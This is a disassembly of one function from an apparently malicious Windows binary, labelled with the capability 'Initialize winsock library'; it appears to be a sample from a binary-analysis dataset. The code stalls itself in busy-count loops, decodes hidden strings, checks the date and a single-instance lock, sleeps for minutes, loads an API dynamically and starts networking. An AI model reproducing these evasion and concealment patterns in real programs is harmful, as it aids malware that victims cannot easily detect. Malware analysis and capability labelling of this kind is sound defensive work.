Function at 0x46cc80
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x13
push 0
push 0
dec ecx
jne 0x46cc88
push ebx
push esi
push edi
mov eax, 0x46ca70
call fcn.004061f8
mov ebx, 0x470dfc
xor eax, eax
push ebp
push 0x46d2b1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
cvtpi2ps xmm0, qword [eax]
mov eax, 2
mov edx, 0x809f4b
inc eax
dec edx
jne 0x46ccc3
cmp eax, 0x3708587f
je 0x46ccd6
inc eax
cmp eax, 0x3708587f
jne 0x46ccce
push 0x470c04
call sub.KERNEL32.DLL_GetSystemTime
lea edx, [ebp - 0x14]
mov eax, dword [0x46f694]
call fcn.0046a138
mov edx, dword [ebp - 0x14]
mov eax, 0x46f694
call fcn.004041b0
lea edx, [ebp - 0x18]
mov eax, dword [0x46f698]
call fcn.0046a138
mov edx, dword [ebp - 0x18]
mov eax, 0x46f698
call fcn.004041b0
lea edx, [ebp - 0x1c]
mov eax, dword [0x46f69c]
call fcn.0046a138
mov edx, dword [ebp - 0x1c]
mov eax, 0x46f69c
call fcn.004041b0
lea edx, [ebp - 0x20]
mov eax, dword [0x46f6a0]
call fcn.0046a138
mov edx, dword [ebp - 0x20]
mov eax, 0x46f6a0
call fcn.004041b0
lea edx, [ebp - 0x24]
mov eax, dword [0x46f6a4]
call fcn.0046a138
mov edx, dword [ebp - 0x24]
mov eax, 0x46f6a4
call fcn.004041b0
lea edx, [ebp - 0x28]
mov eax, dword [0x46f6a8]
call fcn.0046a138
mov edx, dword [ebp - 0x28]
mov eax, 0x46f6a8
call fcn.004041b0
lea edx, [ebp - 0x2c]
mov eax, dword [0x46f6ac]
call fcn.0046a138
mov edx, dword [ebp - 0x2c]
mov eax, 0x46f6ac
call fcn.004041b0
lea edx, [ebp - 0x30]
mov eax, dword [0x46f6b0]
call fcn.0046a138
mov edx, dword [ebp - 0x30]
mov eax, 0x46f6b0
call fcn.004041b0
lea edx, [ebp - 0x34]
mov eax, dword [0x46f6b4]
call fcn.0046a138
mov edx, dword [ebp - 0x34]
mov eax, 0x46f6b4
call fcn.004041b0
lea edx, [ebp - 0x38]
mov eax, dword [0x46f6b8]
call fcn.0046a138
mov edx, dword [ebp - 0x38]
mov eax, 0x46f6b8
call fcn.004041b0
lea edx, [ebp - 0x3c]
mov eax, dword [0x46f6bc]
call fcn.0046a138
mov edx, dword [ebp - 0x3c]
mov eax, 0x46f6bc
call fcn.004041b0
lea edx, [ebp - 0x40]
mov eax, dword [0x46f6c0]
call fcn.0046a138
mov edx, dword [ebp - 0x40]
mov eax, 0x46f6c0
call fcn.004041b0
lea edx, [ebp - 0x44]
mov eax, dword [0x46f6c4]
call fcn.0046a138
mov edx, dword [ebp - 0x44]
mov eax, 0x46f6c4
call fcn.004041b0
lea edx, [ebp - 0x48]
mov eax, dword [0x46f6c8]
call fcn.0046a138
mov edx, dword [ebp - 0x48]
mov eax, 0x46f6c8
call fcn.004041b0
lea edx, [ebp - 0x4c]
mov eax, dword [0x46f6cc]
call fcn.0046a138
mov edx, dword [ebp - 0x4c]
mov eax, 0x46f6cc
call fcn.004041b0
lea edx, [ebp - 0x50]
mov eax, dword [0x46f6d0]
call fcn.0046a138
mov edx, dword [ebp - 0x50]
mov eax, 0x46f6d0
call fcn.004041b0
lea edx, [ebp - 0x54]
mov eax, dword [0x46f6d4]
call fcn.0046a138
mov edx, dword [ebp - 0x54]
mov eax, 0x46f6d4
call fcn.004041b0
lea edx, [ebp - 0x58]
mov eax, dword [0x46f6d8]
call fcn.0046a138
mov edx, dword [ebp - 0x58]
mov eax, 0x46f6d8
call fcn.004041b0
lea edx, [ebp - 0x5c]
mov eax, dword [0x46f6dc]
call fcn.0046a138
mov edx, dword [ebp - 0x5c]
mov eax, 0x46f6dc
call fcn.004041b0
lea edx, [ebp - 0x60]
mov eax, dword [0x46f6e0]
call fcn.0046a138
mov edx, dword [ebp - 0x60]
mov eax, 0x46f6e0
call fcn.004041b0
lea edx, [ebp - 0x64]
mov eax, dword [0x46f6e4]
call fcn.0046a138
mov edx, dword [ebp - 0x64]
mov eax, 0x46f6e4
call fcn.004041b0
lea edx, [ebp - 0x68]
mov eax, dword [0x46f6e8]
call fcn.0046a138
mov edx, dword [ebp - 0x68]
mov eax, 0x46f6e8
call fcn.004041b0
lea edx, [ebp - 0x6c]
mov eax, dword [0x46f6ec]
call fcn.0046a138
mov edx, dword [ebp - 0x6c]
mov eax, 0x46f6ec
call fcn.004041b0
lea edx, [ebp - 0x70]
mov eax, dword [0x46f6f0]
call fcn.0046a138
mov edx, dword [ebp - 0x70]
mov eax, 0x46f6f0
call fcn.004041b0
lea edx, [ebp - 0x74]
mov eax, dword [0x46f6f4]
call fcn.0046a138
mov edx, dword [ebp - 0x74]
mov eax, 0x46f6f4
call fcn.004041b0
mov dword [0x470e28], 0x4f28a
lea edx, [ebp - 0x78]
mov eax, dword [0x46f6f8]
call fcn.0046a138
mov edx, dword [ebp - 0x78]
mov eax, 0x46f6f8
call fcn.004041b0
lea edx, [ebp - 0x7c]
mov eax, dword [0x46f6fc]
call fcn.0046a138
mov edx, dword [ebp - 0x7c]
mov eax, 0x46f6fc
call fcn.004041b0
lea edx, [ebp - 0x80]
mov eax, dword [0x46f700]
call fcn.0046a138
mov edx, dword [ebp - 0x80]
mov eax, 0x46f700
call fcn.004041b0
call fcn.00469b3c
cmp word [0x470c04], 0x7d7
jbe 0x46d00a
call fcn.0046a1d8
test al, al
je 0x46d00a
call sub.KERNEL32.DLL_GetTickCount
push 0
call sub.KERNEL32.DLL_ExitProcess
mov eax, 0x929
call fcn.00402da8
add eax, 0x929
mov dword [0x470e2c], eax
call sub.KERNEL32.DLL_GetTickCount
jmp 0x46d293
push 0x46d2c0
push 0xffffffffffffffff
push 0
call fcn.00406408
call sub.KERNEL32.DLL_GetLastError
test eax, eax
je 0x46d02d
push 0
call sub.KERNEL32.DLL_ExitProcess
jmp 0x46d293
push 0x668a0
call sub.KERNEL32.DLL_Sleep
push 0
call sub.ole32.dll_CoInitialize
xor eax, eax
mov dword [0x470e1c], eax
mov byte [0x470c14], 0
mov byte [0x470c15], 1
mov byte [0x470c16], 0
mov byte [0x470c17], 0
mov dl, 1
mov eax, dword [0x415558]
call fcn.00403360
mov dword [0x470c20], eax
mov dl, 1
mov eax, dword [0x415558]
call fcn.00403360
mov dword [0x470c24], eax
mov dl, 1
mov eax, dword [0x415558]
call fcn.00403360
mov dword [0x470c28], eax
mov dl, 1
mov eax, dword [0x41eee8]
call fcn.00424998
mov dword [0x470c2c], eax
mov dl, 6
mov eax, dword [0x470c2c]
call fcn.00425f10
mov dl, 1
mov eax, dword [0x427250]
call fcn.00427504
mov dword [0x470c30], eax
mov dl, 1
mov eax, dword [0x415268]
call fcn.00403360
mov dword [0x470c44], eax
push 0
call sub.user32.dll_GetDC
mov dword [0x470c34], eax
lea eax, [ebp - 0x84]
call fcn.0046ba00
mov edx, dword [ebp - 0x84]
mov eax, 0x470c3c
call fcn.004041b0
lea edx, [ebp - 0x8c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x8c]
lea edx, [ebp - 0x88]
call fcn.004089bc
mov edx, dword [ebp - 0x88]
mov eax, 0x470c60
call fcn.004041b0
lea eax, [ebp - 0x90]
call fcn.0046a5f0
mov edx, dword [ebp - 0x90]
mov eax, 0x470c64
call fcn.004041b0
lea edx, [ebp - 0x94]
mov eax, dword [0x470c64]
call fcn.00408014
mov edx, dword [ebp - 0x94]
mov eax, 0x46d2dc
call fcn.00404760
test eax, eax
setne byte [0x470c50]
lea edx, [ebp - 0x98]
mov eax, dword [0x470c64]
call fcn.00408014
mov edx, dword [ebp - 0x98]
mov eax, 0x46d2ec
call fcn.00404760
test eax, eax
setne byte [0x470c51]
push 0x470c68
push 0x101
call sub.wsock32.dll_WSAStartup
cmp word [0x470c04], 0x7d7
jbe 0x46d1b4
call fcn.0046b218
cmp word [0x470c04], 0x7d7
jbe 0x46d1d6
push 0
push 0
push 0x470df8
mov ecx, 0x46bf64
xor edx, edx
xor eax, eax
call fcn.00404118
cmp word [0x470c04], 0x7d7
jbe 0x46d21b
mov dword [0x470e24], 0x46c134
push 0x46d2f0
call sub.KERNEL32.DLL_LoadLibraryA
mov esi, eax
push 0x46d2fc
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov edi, eax
mov eax, dword [0x470e24]
push eax
push 0x22b
push 0
push 0
call edi
push esi
call sub.KERNEL32.DLL_FreeLibrary
cmp word [0x470c04], 0x7d7
jbe 0x46d24b
push 0
push 0
push 0x470df8
mov ecx, 0x46955c
xor edx, edx
xor eax, eax
call fcn.00404118
jmp 0x46d24b
push ebx
call sub.user32.dll_TranslateMessage
push ebx
call sub.user32.dll_DispatchMessageA
push 0
push 0
push 0
push ebx
call sub.user32.dll_GetMessageA
test eax, eax
je 0x46d264
cmp byte [0x470c15], 0
jne 0x46d23f
mov eax, dword [0x470c20]
call fcn.00403390
mov eax, dword [0x470c24]
call fcn.00403390
mov eax, dword [0x470c28]
call fcn.00403390
mov eax, dword [0x470c44]
call fcn.00403390
push 0
call sub.KERNEL32.DLL_ExitProcess
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d2b8
lea eax, [ebp - 0x98]
mov edx, 0x22
call fcn.00404180
ret